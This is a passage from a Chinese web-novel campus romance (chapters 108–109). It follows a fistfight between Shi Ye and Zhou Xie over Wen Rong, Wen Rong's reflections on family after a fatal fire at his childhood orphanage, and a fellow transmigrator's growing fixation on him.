周谢用手砸脑袋,又绝望地抬腕擦去嘴上的血,唇角一阵刺痛,是刚才混乱之中磕破的,或许是咬的,总之…… 总之…… 时野愤怒的脸近在眼前。 只打了那么一拳,只有那一拳。 其实依照时野的性子,要是有人碰了他的东西,他会杀了对方。 周谢的目光从时野的脸上挪开,最后,万般心绪化成三个字。 “对不起。” 第108章 第 108 章 林竞航心头一动 话音刚落, 脸被一拳头打得偏了过去。 “一句对不起就完了?你知不知道你在干什么?” 周谢坐在地上,再一次用力闭眼,缓了几秒才从剧痛中缓过神。 他撑着地想要爬起来, 手掌沾到冰凉的奶茶液体,不经意间一滑,上半身摔到地上,以匍匐的姿势停顿了数秒,才重新撑起来,垂着眼皮,顶着阴森森目光的想要往外走。 时野一把将他拽回来, “你想去哪。” 周谢甩开他,“我要去找温绒。” “你还敢去找他。”时野彻底被他激怒了,伸手一抓, 箍紧周谢的脖子把他摁到墙上,“你不准再去找他,敢靠近他我弄死你。” 是真的要“弄死”, 粗粝的指尖几乎要扣进周谢的喉咙,肉凹陷下去, 周边泛红。 周谢浑然不觉似的,手还想去抓门,时野骂了句“疯了”,抬起拳头刚要落下, 却愣住了。 无框眼镜后面兀地掉下眼泪。 周谢哭了。 周总统出事时都维持冷静的人,连眼睛都没红过,现在竟然哭了。 眼泪断了线似的大滴大滴往下掉,认识这么多年,时野从来没见过周谢哭。 或者说, 除了温绒,时野甚至没见过哪个男的这样哭。 太惊世骇俗! 周谢年纪比他们都大,端着架子,事事都一副成熟的模样,他妈去世时,因为在媒体前表现过于得体,还被誉为全联邦最想要的儿子。 那些名头都是虚的,时野嗤之以鼻,只是周谢确实太会控制情绪,时野认可他的优点。 他怎么会哭? 时野想到自己发给周谢的消息,陡然间开始心虚。 不会是因为那些照片和话吧? 如果那是导火索,那自己岂不是害了温绒。 时野一把松开周谢,不敢再看,拨电话给李奥,叫李奥赶紧过来接走周谢。 当然,也给莱昂发消息问温绒的情况,得知温绒没有受伤,已经被带上车后,长长松了口气。 “时野。” 周谢在这个时候悠悠出声。 “你闭嘴!在这里等李奥来接你。” “你真的能跟莱昂和睦相处下去吗?” “……” “任何感情里面都不存在三人行,这一点你比我更深有体会。” 带着暗示意义的话刺痛时野的某根神经,五脏六腑几乎要炸开。 周谢望着他愣住的背影,咧嘴一笑。 伤口再次裂开,洁白的牙齿上布满血迹,看起来有几分癫狂,“你看,现在是莱昂陪在他身边!” “你闭嘴!” “一直都是莱昂陪在他身边!他明显是喜欢莱昂的。” 奋力喊出这些话时,语气里带着连自己都察觉的强烈醋味。 周谢大口呼吸,想要再说,脑袋再次被巨大的冲击力撞到墙上。 剧痛甩走仅剩的理智,周谢抓起时野的衣领,摁着他反靠到墙上。 “你以什么立场在这里阻住我,你跟我都是小三。” “对他俩来说,你他妈跟张婉菲是一样的货色!” “你凑上去有什么用,他们只是尴尬又礼貌的勉强接受你。” “等某一天,你也会跟我一样被拒之门外。” 砰—— 旁边等电梯的客人们突然听到应急通道传来巨响,胆大的男人凑过去,看见两个大高个扭打在一起。 架势之凶狠,谁也不让谁,你推我我推你,撞的砰砰响。 恍惚间,男人看清其中一个的脸……不对,是两个。 这两个竟然都是名人!- 时野跟周谢打架的事上了新闻。 商场游客发了打架视频不说,医院认证两人一个骨折一个脸上挂彩,索性没有生命危险,简单处理过后,两人安全离开。 蓝书上议论纷纷,黒鸽论坛上也炸了锅。 《来个知情人说说,荷官跟时野为什么打架?》 楼主:[这件事怎么想都很奇怪诶,他俩约架为什么要开一个小时的车到市中心去打给别人看?是学校里观众不够多吗?] [确实有点怪,他俩关系不是挺好的吗?] [不明显吗?正妻跟小四打起来能为什么?当然是小四跟男神在一块儿被正妻抓包,正妻气不过动手咯。] [我一直就不明白,抓小三为什么不打渣男,要两个被欺骗感情的人互殴。] [你的意思是让他俩一起打温绒?] [不打渣男当然是因为两个人心里都还爱着渣男咯。但是我作为小八八澄清一下,我老公一点都不渣,他只是平等地被我们爱。] [所以他俩不顾形象当街打架是为了温绒?] [一切合理了起来。] [我先来说:不怪温绒!] [不怪温绒!] [这两人真是的,打架怎么不往死里打,我想前一名。] [我也想我也想] 各种论调在论坛里疯传,温绒很多事情没想明白,控制住打开任何软件的欲望,一个晚上又一个晚上地思考。 不是思考周谢强吻他这件事。 是另一件事。 那天在洗手间处理完嘴上的血渍,莱昂学长带他回了车上。 他没有哭,脑袋靠着车窗,在唇角传来的麻痛中陷入沉思。 莱昂学长很贴心地没有说话,安静陪他坐着,直到周围的车都开走,商场彻底关门。 “要回学校吗?” 温绒应了声“好”,莱昂学长开车送他到宿舍楼下。 温绒没有第一时间下车,而是坐着。 莱昂关掉车灯,在黑暗中问:“温绒,能告诉我你跟周谢之间发生了什么吗?” 温绒抿唇犹豫了片刻,把自己跟周谢的对话一字不漏地给莱昂讲。 莱昂听完后思考了会儿才问他,“对于他说的话,你怎么想?” “我猜,他当时一定失去理智了才会强吻我。” “这件事先放一边,对于他说的逢年过节你怎么看?” “逢年过节跟他一起过这件事吗?” “嗯。” “我……”温绒诚实回答,“我从来没想过这个问题,但是他一提醒,我刚才就忍不住一直想,在那种阖家欢乐的时候,学长、时野你们都会回家,我好像真的只能跟周谢在一块儿才不落单。” 莱昂在黑暗中笑了声。 温绒一怔,“学长,我说的话不对吗?” “不是不对。”莱昂说:“是学长发现了你的弱点。” “弱点?” “在关于家的这件事上,你的脑袋不像平时那么灵活。” 温绒惊讶地偏头看过去,莱昂拉了下座椅,从坐变成躺,头顶的天窗缓慢打开,露出一方星空。 寂静中,这样的景色让心情缓慢平复。 “认识这么久,我认为你做事一直都是有计划的,想清楚才会行动。但在家这个概念上,你几乎永远都是依靠本能,像小孩子一样。” “比如一开始想要组建家庭,后来又给我说你不结婚……周谢这件事上更明显了,自从他父亲去世,你似乎在他身上找到一些无家可归的共鸣,对他的态度跟以前都不一样了。” 温绒愣然,“是这样吗?” “嗯。” “原来我是这样的人……” 温绒感叹的时候,听到系统的声音。 【是这样的。】 【宿主当时也是因为知道时野妈妈死了才原谅他。】 温绒感到惊讶。 “是啊,你对‘父母’‘家庭’这些东西怀着特殊的情感,这种情感一直都在影响你的判断。” 莱昂停了两秒,偏头,湛蓝的眼睛在黑暗中盯紧他,“所以在这件事上要不要直接听从学长的意见?” 温绒认识到陌生的自己,心情奇妙,大脑短暂停止思考,迷迷糊糊地回应,“学长有什么好的建议吗?” “逢年过节的时候,你可以去学长家。” 学长……家? 风呼地一下灌入车内,温绒短暂忘记了呼吸。 砰砰砰 砰砰砰 砰砰砰 车里太暗,他看不见莱昂学长的眼睛,但莫名有种感觉,学长正期待地望着他。 逢年过节去学长家,是跟学长组成家庭的意思吗? 即使这个问题他想过,也跟系统说过,但由莱昂学长提出,有一种难以言喻的震撼。 温绒仓促别开脸,天上的星星被夜色衬得越发明亮,最亮的一颗是蓝色的,湛蓝色,像是学长的眼睛。 他无所遁形。 内心彻底被剖开,从喉咙里涌出来的第一个字,是“不”。 温绒这段时间就在烦恼这件事。 这件事远比周谢的事情更复杂。 他喜欢学长的,他也大言不惭地给系统说想要跟学长组建家庭,但心里那个声音,竟然是“不”。 为什么会是“不”。 跟学长在一起的时候,没有一刻是不开心的。 心情有些烦躁,连带着上课也不怎么专心,一节课结束,老师走了,其他人走了,他都没发现只剩自己坐在教室里。 林竞航回到教室就看见温绒一个人坐在第一排,望着电脑屏幕发呆。 清俊的脸呈现一种“静止”的状态,阳光斜斜打在身上,在桌面打出一道纤薄的影子。 骨节分明的手在键盘上滑动,指腹搓得泛红 在弗罗里曼学院里,想要屏蔽温绒是一件很难的事,特别是最近他和时野周谢的绯闻传得火热。 长得好看吗?以至于小说里的两个主人公都为他大打出手。 因为有些好奇,林竞航盯着他,一时间忘记自己回到教室是为了拿东西。 盯久了,在线条流畅的脸上隐隐察觉到,好像这鼻子这眼睛确实长得不错,漂亮得很有气质。 “林少爷,你怎么还没好。” 外头等林竞航的人喊。 温绒若有所觉,抬起眼。 浅浅的眸子,沾着半点蓝光,淡然在他身上瞥过。 林竞航却跟被火滚了一遭似的发抖。 之前老是被温绒针对,他都有生理反应了。 林竞航厌恶地瞪一眼温绒,可惜温绒早就收回眼,看不到他的恶意。 林竞航气闷,迅速到位置上捡起自己落下的东西。 通过长长的阶梯,温绒背对着他一动不动,似乎根本不在乎他的存在。 莫名的冲动从心中涌出,林竞航不受控制地大步走到温绒的桌子前,“喂,过段时间的项目研讨会,我绝对不会通过你朋友的项目。” 王斯辰走之前特地三令五申让他别跟温绒起冲突,但温绒现在绯闻缠身又众叛亲离,他特别想抓住机会气一气温绒。 然而温绒眼睛抬都不抬,毫不在意地说:“知道了。” 林竞航有种伸手打在棉花上的辍败感,继续放狠话,“我给过你机会,是你不珍惜,偏要跟我对着你。你有什么资格跟我作对?你的积分都不够活下去,你无权无势——” “林竞航。”温绒打断他。 林竞航:“你现在求我也没用。” “你喜欢我吗?” “什么?” 林竞航后知后觉温绒说了什么,嘴巴呵出笑声,“老子不喜欢男的。” “那你为什么总是想要引起我的注意。” “我——” 林竞航卡壳,忍不住扪心自问。 对啊,老子为什么要主动跟他说话? 只是卡一时半刻,多次吃瘪已经让林竞航有了些经验,很快就想到反驳的话:“你是不是傻,老子在找你的茬!别以为你的舔狗多,就谁都喜欢你。” “你的行为像是小学生,喜欢谁就欺负谁。” “老子没有!” 温绒翻手将笔记本电脑盖上,站了起来,与林竞航平视。 他的五官个个长得标致,凑近看更是明显,从每一处折角都能感觉到劈头盖脸的漂亮。一双眼睛颜色过浅,浓密的眼睫缓慢上下开合,有种云上俯瞰众生的冷淡。 “其实第一次见面我就很好奇了。” “什、什么。” “你刚来到这个世界的时候,为什么打扮得跟我一模一样。” 林竞航骤然定住,好像发现了什么从未见过的东西,眼睛瞪的老大。 温绒不再说话,把所有东西收进包里,离开教室。 走廊上传来“林少爷你怎么了”的问话,他腾出一些脑细胞来总结:林竞航不仅对自己没有正确认知,还很蠢,暗示看不懂,必须要亲口告诉他才会明白- 项目研讨会当天,温绒作为学生会边缘人物,唯一的任务是跟随大众出现在校长办公室当听众。 他一到大门口,就跟周谢碰见,视线短暂接触两秒,两人都很有默契地别开脸。 校长是形式主义的爱好者,噼里啪啦讲完项目研讨会的意义、作用、要求,又开始讲他过往人生,将近一个小时后才终于放人。 温绒起身正要走,周谢不知道从什么地方钻出来拉住了他。 “开会结束不要第一个出去。” 温绒停下了。 他有一千个一万个理由拒绝周谢,但有一点无法反驳,在工作上,确实需要听周谢这个经验人士的话。 温绒夹在人群中间离开,周谢没拦他,两人过于陌生的相处模式被其他人看出了端倪。 议论声起,传着传着,就传到林竞航耳朵里。 林竞航当时正忙着背开场演讲稿。 做学生会会长的时候没人告诉他会长还要负责演讲动员这种事,在秘书把稿子发过来时,他第一想法是让身边的人替自己干这活。然而不知道哪个多嘴的告到王斯辰那边,害他差点被王斯辰骂死。 “林少爷,周谢跟温绒绝对吵架了。” 林竞航心头突突地跳,张婉菲“温绒跟周谢怎么了?” “说不定是分手了,之前传周谢跟时野打架我就觉得不对劲了,周谢第1次无缘无故请那么久的假,回来后跟变了个人似的,也不跟温绒一起上下课——” 林竞航急躁打断他,“我问你他俩怎么了,别扯这些你猜的八卦。” “哦哦,刚才周谢拉温绒,温绒都不理他,像是小情侣闹别扭。” “什么情侣?” 林竞航神经紧绷。 旁边有人来喊,“林少爷,要去现场了。” “等会儿。”林竞航抓着手边人追问,“温绒跟周谢是真情侣?” “林少爷……” “滚。” 林竞航暴躁吼过去,无意间见跟温绒对上视线。 温绒跟周谢站在一块儿,注意到他,冷淡地别开脸。 周谢好死不死,往旁边挪一步,挡住温绒。 两个人单独站在人群之外,真的好像一对情侣——吵架闹别扭的情侣。 林竞航把手里的演讲稿捏成一团。 他搞不清楚自己是什么心理。 从温绒说“你刚来到这个世界的时候,为什么打扮得跟我一模一样”的时候开始,一块大石头就砸在他的头上,留下不可磨灭的剧痛。 为什么当时那样打扮,因为心里有一个欢快的声音说:他当时拎着麻布口袋的样子,真他妈土。 但林竞航再想要记起什么画面,就很困难了。 对啊,当时为什么那样打扮。 而且他现在回忆起来才发现,温绒在火车上跟自己的打扮真的一模一样,就连麻布口袋都一样。 会是巧合吗? 林竞航往前走两步,莫名想要看一看温绒,可是温绒已经不见了,项目研讨会也要开始,他不得不走到全校所有人面前,结结巴巴背烦死了的稿子。 …… 12:00,上午场暂时结束,林竞航累得一动不想动,等着别人给他打饭回来。 温绒去食堂吃饭了,周谢也去了,但林竞航记得清楚,他俩没有一起。 钟楼顶上巨大的指针噔噔噔跳动,18:00,一声响彻弗罗里曼学院的钟声波浪版扩散。 最后一组项目汇报完毕,林竞航安排所有人到教室讨论。 温绒率先起身离开,周谢跟在后面,但两人没有说话。 “林少爷,我刚看到温绒包里有个大家伙,我怀疑……” 林竞航奇怪道,“温绒是不是很难哄?” “什么?” 林竞航不记得自己是这么回到的教室。 晚上的会议只是个形式而已,他手里有份秘书给的名单,秘书说,只要把名单上的人的项目通过了就行。 学生会的其他人心照不宣,跟着演戏,把名单上那些人夸个天花乱坠,让这个“关系户”显得有那么一点真材实料。 热烈的赞扬中,突然响起一声巨大的咳嗽。 不是来自于喉咙。 众人瞪大眼睛,眼睁睁看着温绒举起个路边摊常用来喊宣传语的小喇叭。 “最近喉咙不舒服,我想只能通过喇叭跟各位交流,各位才会愿意听一下我说话。” 所有人紧紧闭上了眼睛,有一种“憋这么久,终于来了”的怅然。 这段时间温绒确实太安静了。 从林竞航坐上学生会会长的位置到现在,什么事都没搞,完全不像他的风格。 众人包括林竞航压根没觉得温绒是“懂事了”,每天都在暗暗地担忧,绞尽脑汁思考他在盘算着什么大阴谋。 温绒当着所有人的面翻开手里的小笔记本,“有一些没有通过的项目,想跟大家讨论一下。” 众人:“……” “当然也可以不讨论,反正我的意见也不重要,对吧。” 众人:那你还拿个喇叭来找存在感! 众人敢怒不言,等着温绒的下一句。 “话又说回来,学生会要保证决策的准确性才行,有的项目不予通过,万一学生自己找路子闯出一片天,校董就会问了,这么好的项目当时为什么不通过。”温绒抬眼,直视林竞航,“会长,我可以名单提一些意见吗?” 林竞航:“……” 有人凑到林竞航耳边,“林少爷,让他说吧,他这架势明显是要讲的,不给他讲,等会儿他又搞其他事出来。” 林竞航说不清心里是畏惧还是妥协,嘴巴轻动,“你说。” 温绒收回眼,手指朝李奥勾了勾,成功夺走电脑,连上投影仪,点开所有项目准备的宣传课件。 “第一个软体触手项目,通过模拟章鱼触手的螺旋结构实现灵活抓取具有复杂结构的物体,日后可以广泛运用于生物探索,高难度的危险作业,以减少高危工作中普通员工的死亡率。” “这个项目有什么明显缺点吗?为什么不在通过名单。” 李奥骤然一愣。 ——这是他的项目。 林竞航哪里懂机器人触手高危作业这些东西,被温绒当着这么多人的面质问,说不出话,尴尬偏头看向旁边人,“这个项目记一下,放在通过名单里。” 当然,因为温绒过于锐利的眼神,他心里也产生诡异的感觉,只是他说不清那是什么,就暂时的忽略。 温绒:“还有这个项目……” 林竞航:“……” 会议结束,林竞航绝望发现自己刻意针对温绒的一系列行动全部失败。 失败就算了,眼睛一转,发现教室里没有温绒的身影,也没有周谢。 林竞航莫名担忧,急切的抓起个人问:“温绒在哪里?” 被指路,追上去想问温绒凭什么质疑自己这个学生会会长的决定……其实是想知道温绒是不是跟周谢在一起。 穿过关上灯的走廊,拐个弯,林竞航看见温绒跟周谢站在窗边。 靠,果然在一起。 “我不是为了跟你道歉才来的。” 是周谢的声音。 “那就不用说了。” 还在吵架呢。 林竞航在黑暗中冷哼。 “时野很早就喜欢你了,莱昂也是,你迟迟都不表态,不是因为你在摇摆,是你每个都想要。” “你说这些有意思吗?”温绒不耐烦地回应周谢。 “既然你想要他们,为什么不能多一个我,我也不介意你跟时野或者莱昂接吻,你们上床都可以。” 我靠,劲爆! 林竞航耳朵竖起来。 人人都爱吃瓜,包括刚被气晕了的他。 温绒沉默了几秒才回答,“你不行。” “因为我从小就没有爸爸妈妈,所以我对失去爸爸妈妈的人有种特殊的同理心,这是我的弱点。” “这段时间我或许对你的态度发生了变化,我希望你不要误会成我对你有什么特殊情感,那只是因为我同情你。” 周谢说:“那你继续同情下去!” “可是你那天冒犯到了我,我讨厌这样不尊重的行为。” “所有事情都发生了,现在你要我怎么做。” “怎么做,你才会原谅我以前做过的事以及我那天做的事。” 沉默。 林竞航背靠着墙,忍不住屏住呼吸,思考什么叫“冒犯”。 是抱了,亲了,还是上床了? 周谢强迫温绒? 灯光把对峙的两人的影子拉得老长,林竞航望着那影子,心脏砰砰砰地急速跳动。 “我……” 温绒欲言又止。 林竞航听见周谢踢了一脚墙,忍不住幸灾乐祸。 “那你告诉我,我现在在你心里是什么位置。” 温绒毫不犹豫,“普通校友。” “比不上莱昂跟时野吗?” “对。” “比得上新闻社的几个吗?” “比不上。” “比得上林竞航吗?” 林竞航:? 你们吵架,关老子什么事? 温绒这次沉默了很久才说:“至少比林竞航好。” 周谢:“好。” 林竞航:好?!!! 周谢:“那就是校友之上,朋友之下。” 后面的内容林竞航没有再听了。 林竞航回到宿舍,满脑子都在想:老子在温绒眼里真那么差劲吗?凭什么把老子放在最底层? 林竞航烦透了,烦到第二天被催着上交项目数据时,直接就把温绒提的几个项目一并过了。 等他反应过来,已经无法再更改。 本来应该紧张的,因为没按照秘书的安排做事,但莫名地想顺着温绒的意思做。 林竞航觉得自己一定是着魔了。百无聊赖翻着黒鸽论坛想要转移注意力,陡然间一个对比他跟温绒的帖子出现在眼前。 一个破损的麻布口袋,一个长得实在老土的人,带着黑框眼镜。 “他啊,很土,跟你一样是四眼田鸡,头发也不理,穷不拉叽的。” 雀跃的声音想炮弹一样在脑海中炸开,林竞航心脏加速,身体不受控制地摔下椅子。 说这些话的人站在烈日底下,背着光,看不清脸,但林竞航觉得他在笑,幸福得像参加自己的婚礼。 “但他的名字很好听,他叫……” 是谁—— 说话的是谁—— 他的名字是什么—— 寂静的宿舍骤然响起一声撕心裂肺的尖叫,几乎把整栋楼的学生都惊得开门查看情况。 只是这声结束后再也没有动静,众人寻不到根源,遗憾关门,只当有校友陡然发疯- 项目研讨会的结果在第三天公布,林启正跟张锦程的项目都通过了,新闻社的群里再次活跃起来。 林启正:[gogogo,聚餐。] 张麟:[老幺老幺,你周末能腾三天出来吗?我们想去远一点的地方。] 温绒:[有时间!] 新闻社散团后的第一次团建地点定在游轮上。 三天三夜,周四下午登船,周日下午回。 温绒行李刚收拾好,短暂忘掉复杂的感情问题,暗暗期待自己从未体验过的旅游。 然而在出门时,接到周谢的短信。 [你长大的那个福利院出了事故,院长以及三位工作人员全部死亡,现在全网都在等着你的回应。] 第109章 第 109 章 周谢跪下来求他的 温绒眼皮抽了一下, 身体产生怪异的冷颤。 有种很不真实的感觉。 可能是他从小生长的福利院早就埋在了地震下,而这个世界的福利院,存在与熟悉与陌生之间。 沉默的时刻, 手机屏幕亮起“周谢”两个字。 温绒接起电话,那边单刀直入,“现在网上大多数人希望你能回去处理葬礼的事。” 温绒蹙眉,“你知道是什么事故吗?” “说是火灾,一个死了三个,还有一个正在医院里。”周谢顿了下,“外城区的医院救不活人, 你就当福利院里的四个常驻社工都死了。” 温绒一惊,“救不活是什么意思。” “……你这话,怎么像没在外城区生活过。” 温绒卡了一下, 脑子里响起系统的声音。 【宿主,外城区属于贫民窟,基本没有专业的医生。】 没有医生, 那明明没死的那个人怎么办。 温绒急道,“那个人还能救吗, 转到最近的医院,我出钱。” 周谢冷哼,“就知道你会这么说。我已经让最近的医院开救护车去接人了,医生都是我们这边的人。” “不过别抱太大期望, 事情是昨晚发生的,到现在已经超过12个小时,那女孩已经错过了最佳抢救时间。” 温绒“嗯”了一声,挂断电话。 树长得很快,才没多久, 抽的芽都长了,翠绿一片,比他刚入学时更加茂盛。 风一吹,叶片唰唰的响。 他站在窗户边吹了会儿风,才拖着复杂的心情在网上搜索新闻。 本意是想知道福利院现在什么情况,却没见到关于事故的报道,反而#温绒福利院事故#的词条上了热搜,好想他是福利院事故的罪魁祸首似的。 点开那些词条,无数的营销号发文: 《温绒所在福利院起火》 《温绒有点良心就该回去给福利院的社工处理丧事》 《他在学院里得那么多钱,分点给社工家属做抚慰金不过分吧》 温绒有些意外,好像死了人不是大事,他的态度才是,甚至忍不住问:“哥哥,他们为什么觉得我要做这些事?” 系统不知道该怎么回答温绒,反问:【宿主不想回去吗?】 “……” 轮到温绒无法回答了。 当这个问题真正摆在面前的时候,他才惊讶发现自己的答案依旧是“不”。 “周总统说,希望我回去看看。” 【但是你的想法呢?】 “我……” 温绒所在地福利院里有很多小孩从小就学坏,吃晚饭时,总有几个找不到。院长说他们在外面的游戏机室,网吧,酒吧…… 温绒起先并不理解他们为什么要去花钱的地方,后来远去外地读高中,才理解那种宁可待在外面也不想回到福利院的心情。 从小长到大的地方,也是噩梦开始的地方。 他们找不到该憎恨的父母,只能恨福利院。 温绒想,自己跟他们的差别,只在于选择逃离的方式。 “我可以不回去吧。” 【宿主现在要考虑一下网上的舆论,毕竟网友都希望你回去。】 温绒想了想,作出决定,银行卡里的钱扣除生活必须部分,能腾出40万出来,先把还活着的那个人的医药费给了,给其他三位办葬礼,剩下的钱分给社工的家属。 刚决定好,就接到周谢打过来的第二通电话。 “你还没告诉我你什么时候回外城区,我给你安排车。” 温绒:“我手里有一些钱,我能不能帮我给到他们,医药费,办葬礼,还有抚恤金。” 周谢:“你把钱给家属干嘛?” “他们的家里人肯定很难过,我能给一点是一点。” “这不是你的责任。” “可是网上……” “不要被网上那些营销号裹挟,你知道其中有多少是王斯辰找人故意给你下陷阱的?跟着那些新闻走,所有人对你的道德标准只会越来越高,你以后越来越满足不了。” 不让他给钱,却问他什么时候出发去外城区。温绒感觉周谢跟网上的很多人其实是一样的,认为他是个道德极高的人。 温绒深吸口气,又恍然觉得一身轻松。 他好像更认识自己了。 缺点。 私心。 温绒在房间里走一圈,浑身的劲儿都散掉,才开口:“没有被裹挟,因为我不想回去,所以想从其他的地方来帮助他们。” 周谢顿了下,“你……” 话锋一转,“福利院的员工由政府分发工资,死亡也该由政府出抚恤金。你有钱我通过正规渠道捐进福利院里面。” “好的。” 电话到这里差不多结束了,温绒正准备挂,周谢那边喊了声“温绒。” “嗯?” “你不想去,我可以帮你网上的舆论处理掉。但下次跟我谈事的时候你有什么意见直接就说,不要犹豫。直接告诉我,我好做安排。” “……” “给我们这些想要被你同情的人一个表现机会。” 温绒从周谢的话里感受到“讨好”,心情略显复杂,“谢谢。” “不用客气,我本来就欠你的。” 周谢挂断电话,温绒关掉手机,屏幕上被摔出来的裂痕愈发明显。 他好像明白了周谢说的“世界上关系最好的朋友”是什么含义,有矛盾,但又不得不联系着。 这样的莫名其妙的牵扯,也存在于他跟周谢之间- 项目研讨会后有联邦大学生网球联赛,作为今年决赛的主办场地,学生会要负责跟主办方对接。 校长最近住了院,事情直接落在林竞航头上。 林竞航望着黒鸽系统里源源不断的消息,曾有一刻后悔,他就不该当这个学生会会长。 还以为是多牛逼的职位,结果就是忙得跟无头苍蝇一样的牛马。 “喂,把我账号上的所有消息都处理一下。” 林竞航把活丢给身边的人,就当做自己把工作完成了,从口袋里掏出车钥匙,旋在指尖,优哉游哉走去停车场。 坐上驾驶座,他就忍不住想了,今天夜场会来什么样的漂亮妹妹,要是跟前几天一样怪没意思的,那种太会来事的也没意思,希望有第一次进夜场的清纯女孩。 土一点,戴着眼镜的…… 最好摘下眼镜后能长得特别好看。 想到这里,林竞航的心情彻底好了,脚下用力,车速直往上飙。 然而路过图书馆的时候,余光不经意间瞥到个人,两三秒时间,被彻底甩到车后,后视镜只能看见细小的影子。 滋啦—— 车轮在地面上强行抱停,车胎划出去两三米,林竞航没系安全带,脑袋猛一下撞到方向盘上。 卧槽。 林竞航揉着脑门往后看,刚才的人影已经拐进图书馆大门。 都重新活一次了,天天泡在图书馆有什么意思? 林竞航完全无法理解温绒。 按道理来说,他俩都是穿书,他还是主角,正常人难道不该找他抱好团余生吃香喝辣吗? 而且不知道为什么,他突然很在意温绒说的话,特别是那句他们在火车上遇见时穿得一模一样。 太巧了,巧到林竞航怀疑不是巧合的地步。 可温绒真的是他要找的那个人吗? 林竞航把后脑勺靠到头枕上,心里有个完全超出他认知的感觉。 ——温绒真的是那个人又如何。 很微妙的一种感觉,或许温绒真的说对了,他忘了自己来这个世界的目的,也忘了要找的那个人。 并且没有任何愧疚感。 好像他本来就不想找那个人,只是嘴上说说。 如果不找那个人,那他说那些话干嘛? 大脑陷入短暂混乱,林竞航眼前闪现许久之前跟别人说那些话的场面,头又一次剧痛。 林竞航揉着太阳穴开门下车,阳光一照,鬼使神差走进图书馆。 弗罗里曼学院里最多的就是图书馆,校友捐赠、政府捐赠、富商莫名其妙捐赠等等,但面前这座图书馆是最大的,几乎是一栋教学楼,上下11层,穿过扫脸进入的安检,左右两边摆满长条桌。 这样大的地方远远超过了弗罗里曼学院里全体学生所需要的空间,所以几乎是一个学生坐一排,并不拥挤。 林竞航一眼看见坐在窗边的温绒。 脚步不自觉放轻,靠到书架后面,透过缝隙,静悄悄地观察。 今天天气很好,或者说自从他来到弗罗里曼学院,他就让这里的天气一直很好。 金色阳光撒在桌子上,木头仿佛烧了起来,火红的光点四溢。 图书馆里空调开得正合适,可林竞航觉得那里很热,坐在阳光旁边学习的温绒也很热烈,像阳光下生长的花。 怎么可以那么灿烂。 林竞航差不多忘记了自己穿越前的生活,毕竟在末世活着才是最重要的,所有的注意力都放在如何活下去上。 但看到温绒学习,陡然生出羡慕的感觉,或者说怀念。 他抬手在书架上摸出本属于这个世界的文学,名字很陌生,却有种魔力吸引着他翻阅。 要找个地方坐下来才行。 林竞航拿着书走出书架,大步走近温绒。 脚步声在空旷安静的大厅过于明显,温绒先停下笔,才抬起头,脸上露出明显的困惑。 林竞航低头在他对面坐下。 “……” “……” 视野里,温绒没有再拿起笔,林竞航顿时有些不自在,反问:“怎么,学校是你家的?我不可以坐这里吗?” “……” 没得到回应,林竞航着急抬头想再说,发现温绒已经重新拿起笔低头学习,好像“允许”他坐在这里了。 可是他不回答。 林竞航没由来一肚子火,伸手暴力抽走温绒的书,“你他妈说句话。” 阳光悄无声息蔓延,温绒再次抬脸,眼睫托起金亮的光点,一双浅眸隔着镜片望他,“你很想让我跟你说话吗?” 像是他求他说话一样。 林竞航一愣,随即怒道,“谁他妈想跟你说话。” “你。” “老子没有。” “不要连自己在做什么都不知道,你是成年人。” 还不如不说。 林竞航猛一下拍桌子站起,“老子——” “这里是图书馆,别那么大声。” 温绒一提醒,林竞航环顾四周,发现所有人都看了过来。 大厅中间是空的,一至十一层都有护栏,此时护栏叠高一层,全是伸出来看热闹的脑袋。 林竞航向来不管别人怎么看,对他来说这些人都小说里的npc,并不重要。 而温绒似乎也不在乎,只低头敲了几下碎开的手机屏幕。 林竞航嗤笑,“手机都烂成这样了,你没钱换吗?” “跟周谢接吻的时候摔碎的,有纪念意义,不太想换。” 林竞航的瞳孔骤然紧缩,一下子想到那天两个人聊天时所说的“冒犯”,当时温绒还不原谅周谢,这才过几天,温绒就要纪念起来了。 “你、你那么便宜啊,随便哄哄就乐意跟他……那个了。” “要看是对什么人。”顿了下,“你肯定不行。” “我——” “喂——” 话没说完,一只手骤然出现在林竞航嘴边,掐断这个在图书馆里过于明显的声音。 肩膀一重,林竞航身体不受控制地坠下,后脑勺迅速被人用力一摁,咚地一声,脸撞上被晒得发烫的木头。 “干嘛又坐这里看书,在太阳底下看书对眼睛不好。” 时野抽走林竞航手里的书,递给温绒。 温绒:“谢谢。” “跟我客气什么。” “你来得好快。” “网球场离这边近,几步路就跑过来了。” 两人旁若无人的聊着天,好像没把他当回事。 林竞航终于意识到自己的尊严被踩在脚下狠狠摩擦,怒极,两只手撑着桌角挣扎,却被巨大的力量摁得一动不能动,余光看见远处似乎其他学生在围观,咬牙道,“你他妈——你敢打老子。” 夏季运动服里伸出的手臂坚硬壮硕,铁一般摁着林竞航的脑袋一动不动。 时野语气轻松地问温绒:“我打人了吗?” 温绒:“没有啊。” 林竞航难以置信地眨一下眼睛,嘴巴吐出口气,“你等着,老子罚你黄牌,还有你——温绒!” 温绒:“我还能被罚吗?我忘记我的红牌消没消了,时野你还记得吗?” “记不清了,反正学校不可能让你退学,消没消无所谓。” 林竞航努力挪动脸的方向,抬眼皮去看温绒:“我把你们殴打学生会会长的事情放出去,你以为还会有那么多人支持你吗。” 温绒淡然:“不知道别人会怎么看这件事,要不你试试?” 正在这时,林竞航感到自己旁边又来了一个人,不知道是谁,拉了椅子坐下。 “我身上的红牌还在吗?”温绒问那个人。 森冷的声音飘出,“忘了,我现在不是学生会会长。” 是周谢。 作为周总统的儿子,周谢算是林竞航第二要针对的人,现在被这样控制着,莫大的屈辱几乎将他淹没,声音发狠道,“放开我,不放开我弄死你们。” 周谢:“不放开你的是时野,别弄错人。” 时野:“嗯,是我。动手你应该打不过我,不如直接找你叔叔告状。” 温绒说:“因为感情纠纷就脑袋联邦最高领导人那里去,是不是太小题大做了。” “确实,争风吃醋没必要这么兴师动众。不过,王议员应该算感情纠纷里的当事人。”周谢闲聊着,还暗暗带着刺戳温绒。 温绒不答,林竞航却终于搞明白周谢在揶揄他小叔喜欢温绒这件事,“我靠——” 林竞航再次挣扎,再次失败,牙齿被磕得生疼,只能大着舌头反驳:“放屁,老子才不喜欢你。” 周谢问温绒,“他是口嫌体直那一类吗?” “应该吧。”温绒回答。 林竞航:“老子没有!” 时野掌心一转,把林竞航的脸转个角度:“那就别看他。” “嗯,那就别看我,别跟我说话,别试图引起我的注意。” “老子……”林竞航被他们气疯了,可是词汇匮乏,憋半天,只能继续憋出句“老子才没有”。 “那你怎么会坐到我面前来。” “我——” 温绒打断他:“你还硬要找我说话。” “你——” 